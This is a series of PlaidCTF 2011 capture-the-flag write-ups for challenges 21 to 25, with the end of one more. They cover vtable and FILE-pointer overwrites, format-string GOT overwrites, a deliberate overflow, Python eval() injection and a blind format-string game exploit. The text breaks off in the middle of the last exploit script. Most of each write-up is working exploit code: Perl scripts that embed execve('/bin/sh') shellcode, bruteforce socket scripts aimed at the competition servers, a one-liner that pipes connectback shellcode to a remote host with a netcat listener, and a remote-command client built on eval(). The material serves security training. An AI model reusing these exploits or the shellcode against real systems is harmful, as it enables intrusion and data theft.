EpicFailure object, we can use the call via failObj->vtbl to control EIP by now. To do this we simply need to overflow the vtable pointer with the address to buf_in_bss+strlen(ploading[, put the address to buf_in_bss+strlen(ploading[+4 in the beginning of the first command line argument and the address of something we want to be executed right after it. The executable has NX enabled, but since the box does not have any hardware NX support we can still execute code in the .bss segment for instance, so in this case we can simply put our shellcode in the buf_in_bss buffer as well. My final exploit looks like this: cpp2_201@a5:~$ cat > cpp2-xpl.pl #!/usr/bin/perl my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" print pack("L",0x80491ae+4), # call through vtbl -> our code $code,"A"x(42-length($code)), # the code we want to execute pack("L",0x80491ae); # vtbl -> our buf in .bss ^D cpp2_201@a5:~$ /opt/pctf/cpp2/second_cpp `./cpp2-xpl.pl` 1 1 1 Uploading... [[1SRS1 bin/shAAJob is done! Your Awesomeness point uploaded! $ id uid=4200(cpp2_201) gid=4000(cpp2users) egid=4001(cpp2key) groups=4000(cpp2users) $ cat /opt/pctf/cpp2/key It_Wasn7_th4t_DifffficuLt_VVas_1t? For completeness, I also solved it without relying on being able to execute code in the .bss segment. In this case I had to bruteforce the libc-base and call an internal function called by system(), that contains the command line to be executed in the eax register. cpp2_201@a5:~$ cat > cpp2-xpl2.pl #!/usr/bin/perl my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" print pack("L",0xb74a4ce0), # call through vtbl -> do_system() "A"x42, # padding pack("L",0x80491ae); # vtbl -> our buf in .bss cpp2_201@a5:~$ while true; do /opt/pctf/cpp2/second_cpp `./cpp2-xpl2.pl` 1 1 ';id;sh;'; done ... Uploading... [JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done! Your Awesomeness point uploaded! Segmentation fault Uploading... [JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done! Your Awesomeness point uploaded! Segmentation fault Uploading... [JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done! Your Awesomeness point uploaded! Segmentation fault Uploading... [JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done! Your Awesomeness point uploaded! sh: : not found uid=4200(cpp2_201) gid=4000(cpp2users) egid=4001(cpp2key) groups=4000(cpp2users) $ cat /opt/pctf/cpp2/key It_Wasn7_th4t_DifffficuLt_VVas_1t? ********************************************************************** ****************************** 21.txt ****************************** ********************************************************************** 21 Key leak 450 pts This is my writeup for the twenty-first challenge in the PlaidCTF 2011 competition. The information for the challenge was: We have obtained the binary for AED internal data encryption service, running at a9.amalgamated.biz:10240. Obtain AED data encryption key. The binary for this level was available for download, so that it could be inspected in IDA Pro and debugged with GDB. Turns out it is executed through inetd, or some similar service. It reads its input data from stdin and writes to stdout, and does not contain any socket handling code by itself. By analyzing the code in IDA Pro I noticed that snprintf() is called with 80 as its length argument. The problem with this is that the stack buffer it writes to is only 64 bytes large. This is not enough to overwrite the saved return address, we will however overwrite the FILE-pointer for a log file right before fwrite() and fclose() is called. I knew that the FILE-struct contains a pointer to an array of function pointers, and first wrote an exploit that used this to achieve code execution. Since the buffer we control is much smaller than the FILE-struct it was a bit tricky to get right, but I finally ended up with this piece of code to achieve code execution on my own system with ASLR deactivated: je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat keyleak-xpl.pl #!/usr/bin/perl my $buffer_addr = 0xffffc630; my $do_system = 0xf7c9bf30; my $cmd = ";id;sh;"; # Prepend ";" since eax points 36 bytes before this string... $cmd .= "A"x(44-length($cmd)); print pack("L",$do_system), # vtable + 0x1c = gets called by _IO_fwrite(), with eax = vtable pointer pack("L",$buffer_addr-0x1c), # vtable pointer @ fp + 148 + _vtable_offset $cmd, # command line chr(0x82), # _vtable_offset as a signed byte -> 0x82 = -126 "AAA", # padding pack("L",$buffer_addr-18); # Overwritten FILE-pointer (fp) je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ (./keyleak-xpl.pl; cat) | ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin: /lib32/libcrypto.so.1.0.0: no version information available (required by ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin) Username: sh: U304132799:: not found uid=1000(je) gid=1000(je) Note that I overwrite the FILE-pointer with the address to my buffer minus 18. This is to make sure I am able to control the _vtable_offset variable and make fwrite() use the function pointer I placing in the beginning of the buffer. It is also critical that the word that happens to be at this stack address is a negative number (e.g most significant bit set), to avoid a crash due to dereferencing a value out of my control. If you want to try this on your own system, deactivate ASLR with sysctl kernel.randomize_va_space=0 (as root) and determine the buffer address with: je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ gdb -q ../04fb7dde1e519a7efd248c43ce9967a40276981e.bin core ... Loaded symbols for /lib/ld-linux.so.2 Core was generated by `../04fb7dde1e519a7efd248c43ce9967a40276981e.bin'. Program terminated with signal 11, Segmentation fault. #0 _IO_fwrite (buf=0xffffc604, size=1, count=73, fp=0xbadc0ddb) at iofwrite.c:43 43 iofwrite.c: No such file or directory. in iofwrite.c (gdb) up #1 0xf7ffccd9 in ?? () (gdb) p/x $ebp-72 $1 = 0xffffc610 (gdb) x/i do_system 0xf7c9bf30 : push %ebp If your libc is stripped from symbols, you can disassemble system() to find the do_system() function pointer. Example: (gdb) x/18i system 0xf7c9c3d0 <__libc_system>: sub $0xc,%esp 0xf7c9c3d3 <__libc_system+3>: mov %esi,0x4(%esp) 0xf7c9c3d7 <__libc_system+7>: mov 0x10(%esp),%esi 0xf7c9c3db <__libc_system+11>: mov %ebx,(%esp) 0xf7c9c3de <__libc_system+14>: call 0xf7c79a0f <__i686.get_pc_thunk.bx> 0xf7c9c3e3 <__libc_system+19>: add $0x11cc11,%ebx 0xf7c9c3e9 <__libc_system+25>: mov %edi,0x8(%esp) 0xf7c9c3ed <__libc_system+29>: test %esi,%esi 0xf7c9c3ef <__libc_system+31>: je 0xf7c9c410 <__libc_system+64> 0xf7c9c3f1 <__libc_system+33>: mov %gs:0xc,%eax 0xf7c9c3f7 <__libc_system+39>: test %eax,%eax 0xf7c9c3f9 <__libc_system+41>: jne 0xf7c9c434 <__libc_system+100> 0xf7c9c3fb <__libc_system+43>: mov (%esp),%ebx 0xf7c9c3fe <__libc_system+46>: mov %esi,%eax 0xf7c9c400 <__libc_system+48>: mov 0x8(%esp),%edi 0xf7c9c404 <__libc_system+52>: mov 0x4(%esp),%esi 0xf7c9c408 <__libc_system+56>: add $0xc,%esp 0xf7c9c40b <__libc_system+59>: jmp 0xf7c9bf30 This depends on two addresses though, the address to the buffer and the offset to the libc internal do_system() function. Although it certainly possible, it could potentially take a pretty long time to bruteforce both of these values when ASLR is active and unfortunately this is the case on a9.amalgamated.biz where the keyleak server resides. So, let figure out another way to exploit this bug. Reading the description for this mission we learn that we only need to obtain the encryption key used by the program, we don actually need code execution. So, let see how the key is used by the program and if there is some way we could retrieve it without actually executing code or getting a shell. The file descriptor to the key file has not yet been opened when the vulnerability is triggered, so finding a way to directly dump the contents of the key file seems unlikely. However, this piece of code indicates that we may do something else that might be useful: usr_buf_len = read(0, usr_buf, 1024u); key_buf_len = read(fd, key_buf, 1024u); A buffer is read from file descriptor 0 = stdin = the socket descriptor in this case. Then the key is read from the key file descriptor. If we overflow the FILE-pointer with the address of stdin we can close this descriptor, which will make the next call to open() to reuse file descriptor 0. The next call to open() opens the key file in this case, which means that the key will be read into usr_buf (user input buffer). Since this read() will consume everything in the keyfile, the read() into key_buf will result in an empty string. So, how would this help us? Well, analyzing the rest of the code it derives an AES encryption key from the contents of the keyfile combined with a 32 byte random salt. if ( RAND_bytes(salt, 32) == 1 ) { hash_algo = EVP_sha256(); if ( PKCS5_PBKDF2_HMAC(key_buf, key_buf_len, salt, 32, 4096, hash_algo, 32, derived_key) == 1 ) ... The key would in this case be an empty string. :) Then it continues with generating a random IV for initializing the AES-256 cipher along with the key. if ( RAND_bytes(iv, 16) == 1 ) { EVP_CIPHER_CTX_init(&ctx); cipher = EVP_aes_256_cbc(); if ( EVP_EncryptInit_ex(&ctx, cipher, 0, derived_key, iv) == 1 ) It finishes off by encrypting the user input buffer (containing the real key), and then writing the salt, the iv and the encrypted buffer to stdout. if ( EVP_EncryptUpdate(&ctx, encbuf, &n, usr_buf, usr_buf_len) == 1 ) { if ( EVP_EncryptFinal_ex(&ctx, &encbuf[n], &tmp_n) == 1 ) { EVP_CIPHER_CTX_cleanup(&ctx); n += tmp_n; fflush(stdout); write(1, salt, 32u); write(1, iv, 16u); write(1, encbuf, n); So, if we manage to close stdin we will get the real key encrypted with a key we will be able to determine by using the known salt, iv and an empty string as key. Since ASLR is used we had to use bruteforce to find the stdin pointer. Only 12 bits of the glibc base is randomized, and empirically it seems as if some addresses are much more likely to be used than others. The most effective way to bruteforce is therefore to use a static uess based on the address taken from a previous execution. Since we had not yet realized that the a5 box where we already had shell access through SSH used the same glibc version as the a9 box, we used our PC Rouge exploit to upload the keyleak program and the following small library: #include #include __attribute__((constructor)) void my_init() { printf("0x%x\n", (unsigned int) stdin); _exit(1); } By loading this library with LD_PRELOAD when executing keyleak we get to know the address of stdin for this particular execution attempt, and can use this value to bruteforce with. $ gcc -shared -o xxx.so xxx.c $ LD_PRELOAD=./xxx.so ./keyleak 0xb75f0420 To perform the bruteforce I developed the following script: #!/usr/bin/perl -w use strict; use IO::Socket::INET; use FileHandle; ########################################################################### # Exit with an error message if more than two arguments are given die "Usage: $0 [ADDR] [PORT]\n" if @ARGV > 2; # Get address and port from the command line, or use default values my $addr = shift || '128.237.157.79'; my $port = shift || 10240; ########################################################################### STDOUT->autoflush(1); ########################################################################### my $found = 0; my $i = 0; my $line; my $buf; while (! $found) { print STDERR "."; # Connect to server my $sock = IO::Socket::INET->new( PeerAddr => $addr, PeerPort => $port, Proto => 'tcp' ) or die "connect: $!\n"; $sock->autoflush(1); print $sock "A"x56,pack("L",0xb75f0420),chr(10); $buf = ""; while ($line = <$sock>) { next if $line eq "Username: "; $buf .= $line; } next if $buf eq ""; $buf =~ s/.*Key length is 0 bytes\.\n//s; print STDERR "\nFound it!\n"; while (length($buf) > 0) { $buf =~ /(.)(.*)/s; my $c = $1; $buf = $2; print chr(10) if ($i > 0 && ($i % 16) == 0); printf("%02X ", ord($c)); $i = $i + 1; } print "\n"; last; } ########################################################################### exit 0; This is the output from a sample execution: je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ ./keyleak-getkey.pl ................................ Found it! C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72 56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD 74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE 8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19 The first 32 bytes is the salt used when deriving the encryption key. This is followed by the 16 bytes IV buffer that is used when initializing AES, and finally by 32 bytes representing the encrypted key. To get the plaintext key we can now feed this into the following program, originally developed by Kaliman while I worked on the stdin bruteforce script: je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ cat decode_key.c #include #include #include #include #include int aes_dec(unsigned char *data, int len, unsigned char *salt, unsigned char *iv, unsigned char *out) { EVP_CIPHER_CTX ctx; int n1 = 0, n2 = 0; char key[32]; memset(key, 0, 32); PKCS5_PBKDF2_HMAC(key, 0, salt, 32, 4096, EVP_sha256(), sizeof(key), key); EVP_CIPHER_CTX_init(&ctx); EVP_DecryptInit_ex(&ctx, EVP_aes_256_cbc(), NULL, key, iv); EVP_DecryptUpdate(&ctx, out, &n1, data, len); EVP_DecryptFinal_ex(&ctx, out+n1, &n2); return n1 + n2; } int main() { char salt[32], iv[16], buf[32], key[32]; ssize_t n; if (((n = read(0, salt, sizeof(salt)) != sizeof(salt)) || ((n = read(0, iv, sizeof(iv)))) != sizeof(iv)) || ((n = read(0, buf, sizeof(buf))) != sizeof(buf))) { if (n == -1) perror("read"); return 1; } n = aes_dec(buf, sizeof(buf), salt, iv, key); write(1, key, n); return 0; } je@isis:~/ctf/PlaidCTF-2011/21-Key_leak/solution$ perl -pne 's{\s*}{}sgex;s{([0-9A-Fa-f][0-9A-Fa-f])}{chr(hex($1))}sgex' | ./decode_key C2 3C 34 D3 43 58 F1 26 3E 38 2C 91 3F 58 DB 8F DA 8E 58 90 BA E9 B7 FD 92 5F D9 6C 05 87 85 72 56 C5 39 12 95 BA C8 9E D7 A0 52 82 CA 8E C3 FD 74 97 E4 16 5A D8 23 8D 3E B6 49 61 A6 C3 54 CE 8F 17 C2 E8 0E 9A 88 A2 DE 80 5B B6 E2 97 D6 19 ^D I grow tomatoes in my garden. ********************************************************************** ****************************** 22.txt ****************************** ********************************************************************** This is my writeup for the twenty-second challenge in the PlaidCTF 2011 competition. The information for the challenge was: c a9.amalgamated.biz 30001 The binary for the server listening on this port was also available for download. Simply running strings on the binary reveals that it is a forking socket server that spawns a new process to handle each incoming connection. Connecting to the service we get: This is an example of connecting to the service on my own machine: je@isis:~$ nc localhost 30001 ** Welcome to the online hash calculator ** $ foo 3828 (foo) je@isis:~$ nc localhost 30001 ** Welcome to the online hash calculator ** $ bar 604 (bar) The service prompts for a string, calculates its hash and prints it out to the user before closing the connection. If we send a string slightly larger than 256 bytes the connection is abruptly closed though, which most likely indicates a buffer overflow. Since the binary is compiled with stack canaries enabled this may not be all that useful though. A quick inspection in IDA Pro reveals that the buffer overflow is due to a vsprintf() in the function at 0x08048b22, which Ie named sock_printf() to be a bit more descriptive. The decompiled version is as follows: void sock_printf(int fd, const char *fmt, ...) { size_t len; char buf[256]; va_list ap; va_start(ap, fmt); vsprintf(buf, fmt, ap); len = strlen(buf); if (send(fd, buf, len, 0) == -1) { perror("send message"); exit(-1); } } There is also code for checking a stack cookie, but since that is automatically inserted by the compiler Ie omitted that part from my decompiled code. As you can see, there really isn much of value to overwrite on the stack unless we can predict (or bruteforce) the stack cookie, or patch the GOT-entry for ___stack_chk_fail(). Luckily for us there is another issue to exploit, that is revealed by simply sending a nas the string to hash. This will also result in the connection being abruptly closed, which indicates a format string vulnerability. In IDA Pro we can see that the format string vulnerability is triggered by an fprintf(log_fp, buf), right before the hash is calculated. Since the output is written to a logfile and not back to the socket we are not able to use this to read data from the stack. Since our buffer is on the stack we can easily use this to achieve arbitrary writes to arbitrary addresses though, by embedding the addresses we want to write to in our buffer and finding the offset to the buffer by, for instance, embedding a known writable address in our buffer, using %n at different offsets and switching to a known invalid / non-writable address for each offset that does not trigger a crash. Since we have access to the binary we can determine the offset (5) directly by analyzing the code though. Due to a mistake by the PlaidCTF organizers, NX was not effective and ordinary shellcode could be used, which saved me some time. Since strlen() is called directly after the vulnerable fprintf(), in the function that calculates the hash, I chose to use the format string vulnerability to overwrite the GOT-entry for strlen() at address 0x0804a41c. Since the stack is randomized it would require bruteforcing to find our shellcode in the stack, but since a pointer to our buffer is passed as the first argument to strlen() we can just stuff our shellcode into the beginning of the buffer and use a suitable trampoline from the binary itself, which is mapped on a fixed address. A pop-ret or a call eax would be good for this purpose, since the buffer pointer is copied into eax before being passed as an argument. I chose the latter, at address 0x080491cb. At this point of the competition I felt pretty lazy, so ended up exploiting it with a one-liner instead of creating a script for it: (cat ~/cb.bin; perl -e ' print pack("L",0x804a41c+2),pack("L",0x804a41c), "%'$[0x0804-88]'u","%25\$hn","%'$[0x91cb-0x0804]'u","%26\$hn"' ) | nc a9.amalgamated.biz 30001 The file cb.bin is an 80 bytes connectback shellcode. Since the beginning of our buffer was at offset 5 I add 20 to this now when Ie embedded the addresses to write to after the shellcode (20*4=80), and end up with %25$hn and %26$hn to overwrite the two most significant bytes and the two least significant bytes of the GOT-entry respectively. In another tty Ie set up a netcat listener on the port that the connectback shellcode connects to: je@isis:~$ nc -l 12345 id uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1) cat /home/hashcalc1/key th3_0tH3r_DJB ********************************************************************** ****************************** 23.txt ****************************** ********************************************************************** This is my writeup for the twenty-third challenge in the PlaidCTF 2011 competition. The information for the challenge was: t seems like AED also has some plans to raise hacker force! We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program. So we can get the secret key! ssh username@a5.amalgamated.biz Using IDA Pro I see that the binary contains a deliberate stackbased buffer overflow, designed to allow us to overwrite a pointer that is later dereferenced and written into with a user defined value. The decompiled code is as follows: void ExploitMe(const char *str, int val, size_t len); int main(int argc, char **argv) { int a2, a3; if (argc <= 3) { puts("Regards, Dolan :} "); exit(-1); } a3 = atoi(argv[3]); a2 = atoll(argv[2]); ExploitMe(argv[1], a2, a3); return 0; } void ExploitMe(const char *str, int val, size_t len) { int *p; char buf[64]; if (len <= 71) { p = len; strncpy(buf, str, len); if (p) *p = val; exit(0); } } The pointer p is located directly after the 64-bytes buffer we're overflowing, and the value we're writing into the pointer is taken from our second command line argument. Since exit() is called directly after this, we use this to overwrite its GOT-entry. As you can see below, this is located at 0x80497f4. je@isis:~/ctf/PlaidCTF-2011/23-Exploit_Me# objdump -R exploitMe | grep exit 080497f4 R_386_JUMP_SLOT exit Since a pointer to our buffer is located at offset 8 on the stack when exit() is called, due to the previous strncpy() call, we can use a pop-pop-ret trampoline to jump there. I found one at address 0x80484d2, and could use this for the following exploit: #!/usr/bin/perl my $code = "\xeb\x10". # jmp jumpme # callme: "\x5b". # pop %ebx "\x31\xd2". # xor %edx,%edx "\x88\x53\x07". # mov %dl,0x7(%ebx) "\x52". # push %edx "\x53". # push %ebx "\x89\xe1". # mov %esp,%ecx "\x31\xc0". # xor %eax,%eax "\xb0\x0b". # mov $0xb,%al "\xcd\x80". # int $0x80 # jumpme: "\xe8\xeb\xff\xff\xff". # call callme "/bin/sh"; # .ascii "/bin/sh" $code .= "A"x(64-length($code)); my $exitgot = 0x80497f4; my $pop2ret = 0x80484d2; exec '/opt/pctf/exploit/exploitMe', $code.pack("L",$exitgot), $pop2ret, 68; If NX would have been effective this challenge would have required some further digging to find a suitable ROP gadget for running system() or execve() for instance. In this case I settled with this to get the key: K3Ys_t0_15_M1nUtEs_0f_F4mE ********************************************************************** ************************ 24_Calculator.txt ************************* ********************************************************************** The calculator uses python's eval() to calculate the remote requests. Since that allows remote python code execution there's not much more to say about this level. #!/usr/bin/python import sys def f(s): res = [] for x in s: res.append("chr(%d)" % ord(x)) return "eval(" + "+".join(res) + ")" import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("a9.amalgamated.biz",60124)) cmd = sys.argv[1] sock.sendall(f("""__import__("os").system("%s")""" % cmd) + "\n") d = "" while 1: try: x=sock.recv(512) d+=x except: break if len(x) == 0: break print d.split("Welcome to")[0][0:-1] #EOF orcon:~/ppp/26% python shell.py "id" uid=1006(calculator) gid=1007(calculator) groups=1007(calculator) orcon:~/ppp/26% python shell.py "ls -al /home/calculator" total 16 drwxr-x--- 2 root calculator 4096 Apr 15 22:11 . drwxr-xr-x 9 root root 4096 Apr 20 22:31 .. -rwxr-xr-x 1 root root 669 Apr 15 22:10 calculator.py -rw-r----- 1 root calculator 31 Apr 15 22:11 key orcon:~/ppp/26% python shell.py "cat /home/calculator/key" Y0_dawg,_I_he4rd_you_l1ke_EvA1 ********************************************************************** ****************************** 25.txt ****************************** ********************************************************************** This is my writeup for the twenty-fifth challenge in the PlaidCTF 2011 competition. The information for the challenge was: malgamated has banned the use of Solitaire due to loss of productivity. The only employee who would write a new game for everyone only likes etrogames, and has placed a text-adventure version of pacman on a company server. We don believe he could have coded this securely, and the server contains a vital key. Connect to the game here and find the key. nc a9.amalgamated.biz 60123 There was no binary available for download, so this level was actually completely blind. Connecting to the game we get: TRUE RETRO PACMAN 8-BIT v2.1 ACCURATE 8-BIT VIRTUALIZATION NOW INCLUDED! Change log: 1/2/11: 2.1 New years update for increased stability 12/1/10: 2.0.1 Fixed some 8-bit 'overflow' that occured when virtualizing 9/23/10: 2.0 Added actual 8-bit carry and 8-bit behavior for more authenticity 6/15/10: 1.5.1 Added logging of all commands. 6/10/10: 1.5 Now with an actual maze! 2/10/09: 1.0 Release STATUS: Item: The able Trophy! POWERPOINTS:0 Points:0 There is a pill to the north. There is a pill to the south. There is a wall to the east. There is a pill to the west. There is a pill here! ?> Typing elpgave a list of valid commands: ?> help VALID COMMANDS:: help/HELP Show this help quit/q Quit take Take a pill/powerpill n Go north s Go south e Go east w Go west. t Wait. Walking around in the maze eating pills we notice a few things. First I noticed that after eating 16 pills, each increasing my number of points with 8, my number of points suddenly becomes -128. This indicates that a signed 8-bit integer is used to store the number of points. STATUS: Item: The mountain Trophy! POWERPOINTS:50 Points:120 There is a pill to the north. There is a wall to the south. There is nothing to the east. There is a wall to the west. There is a pill here! ?> take Your pick up a pill! Yum!! STATUS: Item: The mountain Trophy! POWERPOINTS:50 Points:-128 We also notice that the number of power points seem to determine which item that is listed in our status. Each time we eat a powerpill the number of points increase with 40, and each time we make a move the number of power points (if any) decreases with one. The somehow odd command which is described as aitdecreases the number of power points with one as well, and surely this must be for a reason. Moving on through the game eating pills and powerpills as we encounter them, we will sooner or later run into this situation: STATUS: Item: The battle Trophy! POWERPOINTS:94 Points:-32 There is a wall to the north. There is a wall to the south. There is a wall to the east. There is nothing to the west. There is a POWERPILL here! ?> take [ERROR] Over 128 powerpoints! We cannot eat another powerpill since this would put us over the maximum of 128. However, if a signed 8-bit integer is used for the number of powerpoints as well the real maximum should be 127. Let use the command a few times until our number of powerpoints is 88, and let see what happens when we eat the powerpill: STATUS: Item: The answer Trophy! POWERPOINTS:88 Points:-32 There is a wall to the north. There is a wall to the south. There is a wall to the east. There is nothing to the west. There is a POWERPILL here! ?> take Your pick up a POWERPILL! Delicious!! STATUS: Item: n POWERPOINTS:-128 Points:-32 Notice anything strange? Well, besides now having a negative number of powerpoints (which we sort of expected) we can also see that our item-string is now instead of he some-name Trophy! Since the number of powerpoints seemed to determine the item that is listed, it seems likely that the number of powerpoints is used as an index into an array of items/trophies and that when a negative index is being used (-128) it will point into some other string that in this case happened to be So where does this come from? Well, since is one of the commands for this game it could certainly be a command string that Ie entered earlier. It not the last command Ie entered though, so if is indeed a command it is probably stored in a command history buffer. Looking back through the scrollback we also notice: STATUS: Item: The language Trophy! POWERPOINTS:41 Points:-80 There is a pill to the north. There is nothing to the south. There is a wall to the east. There is a wall to the west. There is a pill here! ?> take Your pick up a pill! Yum!! Command limit reached. Reseting command buffer. STATUS: Item: The language Trophy! POWERPOINTS:41 Points:-72 There is a pill to the north. There is nothing to the south. There is a wall to the east. There is a wall to the west. There is nothing here. ?> n You move north. See the ommand limit reached.message? We got that on our 127:th command, which probably means that a history of 127 commands are being stored in an array. If this array is stored right before the item string array, the listed as our item after getting a negative number of powerpoints may be taken from this command history array. So, let see what happens if we use or some other command until the command limit is reached again: ... STATUS: Item: n POWERPOINTS:-128 Points:-32 There is a wall to the north. There is a wall to the south. There is a wall to the east. There is nothing to the west. There is nothing here. ?> t You wait for a bit... Command limit reached. Reseting command buffer. STATUS: Item: n POWERPOINTS:-128 Points:-32 There is a wall to the north. There is a wall to the south. There is a wall to the east. There is nothing to the west. There is nothing here. ?> foobar.%x.%x.%x STATUS: Item: foobar.ffc60854.ffc60d58.ffc60854 POWERPOINTS:-128 Points:-32 There is a wall to the north. There is a wall to the south. There is a wall to the east. There is nothing to the west. There is nothing here. ?> t You wait for a bit... As you can see Ie jumped ahead a bit to show you how this bug is turned into an exploitable vulnerability. The very first command entered after the command limit has been reached is used as the item-string, and is actually being passed directly as the format string argument to presumably printf(). This allows to read memory, like we do above, or even write to arbitrary addresses using the %n format string specifier. After the number of power points have been wrapped into -128, it stays there, so now we can just wrap around the command history buffer each time we want to use a different format string. I developed the following script for being able to play around, enter different format strings and examine their output: #!/usr/bin/perl -w use strict; use IO::Socket::INET; use FileHandle; use POSIX; ########################################################################### # Exit with an error message if more than two arguments are given die "Usage: $0 [ADDR] [PORT]\n" if @ARGV > 2; # Get address and port from the command line, or use default values my $addr = shift || '128.237.157.79'; my $port = shift || 60123; ########################################################################### my $pwn_str = "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" . "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46); ########################################################################### # Connect to server my $sock = IO::Socket::INET->new( PeerAddr => $addr, PeerPort => $port, Proto => 'tcp' ) or die "connect: $!\n"; $sock->autoflush(1); STDOUT->autoflush(1); ########################################################################### print $sock $pwn_str; my $pid = fork(); if (not defined $pid) { print STDERR "fork() failed\n"; } elsif ($pid == 0) { while (<>) { my $fmt = $_; $fmt =~ s{\{([0-9A-Fa-f]+)\}}{pack("L",hex($1))}sgex; print $sock $fmt,"t\n"x126; } print "\n"; kill 15, $pid; } else { my $print_item = 0; my $first = 1; $SIG{TERM} = sub { exit 0}; while (<$sock>) { if (/^Command limit reached/) { if ($first) { $first = 0; print "Enter format string: "; } else { $print_item = 1; } } if (/^Item: / && $print_item) { s/^Item: //; my $buf = $_; chomp($buf); while (length($buf) > 0) { $buf =~ /(.)(.*)/s; my $c = $1; $buf = $2; if (POSIX::isprint($c)) { print "$c"; } else { printf("\\x%02x", ord($c)); } } print "\n"; $print_item = 0; print "Enter format string: "; } } } ########################################################################### exit 0; Note that {32-bit-integer-in-hex} will be converted to a raw binary 32-bit integer by the script. This can be used to embed addresses to dump or overwrite. Here a sample session: je@isis:~/ctf/PlaidCTF-2011/25-PC_Rouge$ ./pc-playaround.pl Enter format string: AAAABBBBCCCC.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAABBBBCCCC.ffa2a184.ffa2a688.ffa2a184.ffa2a687.ffa2a686.ffa2a184.ffa2a27c.6.41000074.42424242.43434343 Enter format string: %12$s{0}...{8048000} \x7fELF\x01\x01\x01 Here I first determine the offset to the command buffer, by dumping the stack four bytes at a time with %x. The first three bytes are overwritten by a command that has been sent later (= 0×74), so if we want to embed an address to read from or write into we should prepend some padding. My second attempt uses %12$s to dereference the pointer that I embed at offset 12 (0×08048000). Obviously NUL-bytes are not a problem, as long as they are located after the format string. The format string buffer is actually located in dynamically allocated memory on the heap, while the command buffer is located in a local variable on the stack. The only problematic byte is 0x0a (e.g. n= line-feed), which ends the command string and is converted to a NUL-byte in the buffer. Using this technique we are able to dump the entire binary for the level, except for a few bytes at addresses containg 0x0a that we assume are NUL-bytes. This produces a valid enough binary for further analysis in IDA Pro, where we can clearly see the vulnerable call to printf: printf(item_arr[num_powerpoints]); We also see that fgets() is used to read our commands, and that the line-feed character is converted to a NUL-byte, just as we have observed: if (fgets(buf, 255, stdin)) { for (i = 0; i < strlen(buf) - 1; ++i) { if (buf[i] == 10) { buf[i] = 0; break; } } If we use the format string vulnerability to overwrite a GOT-entry, fgets() seems to be the perfect choice since its first argument happens to be a pointer to our buffer. If we embed a command line to be executed there and point fgets() into system() instead, our command line will be executed. Now we just need to find system(), either by bruteforcing it or by reading a GOT-entry and calculating the address to system() based on its offset from the function whose GOT-entry we've read. We used the latter method to find system() based on its offset from fgets(). Since we had not yet noticed that a5 and a9 used the same libc, we first dumped libc using this vulnerability as well. :) Finally, we ended up with the following exploit: #!/usr/bin/perl -w use strict; use IO::Socket::INET; use FileHandle; ########################################################################### print STDERR "[*] -----------------------------------------------\n"; print STDERR "[*] PC Rouge Exploit - PlaidCTF-2011 - Challenge 25\n"; print STDERR "[*] Coded by Joel Eriksson, AKA je AKA The Beast...\n"; print STDERR "[*] -----------------------------------------------\n"; ########################################################################### # Exit with an error message if more than two arguments are given die "Usage: $0 [ADDR] [PORT]\n" if @ARGV > 2; # Get address and port from the command line, or use default values my $addr = shift || '128.237.157.79'; my $port = shift || 60123; ########################################################################### my $pwn_str = "n\n"x10 . "take\n" . "s\n"x15 . "take\n" . "n\n"x2 . "w\n"x3 . "s\n" . "take\n" . "s\n" . "w\n"x5 . "t\n"x5 . "take\n" . "t\n"x(127-46); my $fgets_got = 0x0804bf18; my $fgets_off = 0x5bc30; my $system_off = 0x38fb0; ########################################################################### # Connect to server my $sock = IO::Socket::INET->new( PeerAddr => $addr, PeerPort => $port, Proto => 'tcp' ) or die "connect: $!\n"; $sock->autoflush(1); STDOUT->autoflush(1); ########################################################################### my $line; my $c = 0x41; my $marker = chr($c)x8; ########################################################################### print STDERR "[*] Retrieving fgets() address from the GOT\n"; # LSB of fgets() happened to be a NUL-byte on the a9 box, thus the +1 print $sock $marker,pack("L",$fgets_got+1),"-%11\$s",$pwn_str; while ($line = <$sock>) { last if $line =~ /Item: $marker/; } $line =~ /$marker....-(....)/; my ($fgets_addr) = unpack("L", $1); $fgets_addr <<= 8; $fgets_addr &= 0xffffffff; ########################################################################### print STDERR "[*] Calculating address of system()\n"; my $system_addr = $fgets_addr - 0x5bc30 + 0x38fb0; ########################################################################### print STDERR "[*] Overwriting the GOT-entry for fgets()\n"; my $hi_addr = $system_addr >> 16; my $lo_addr = $system_addr & 0xffff; my ($n1, 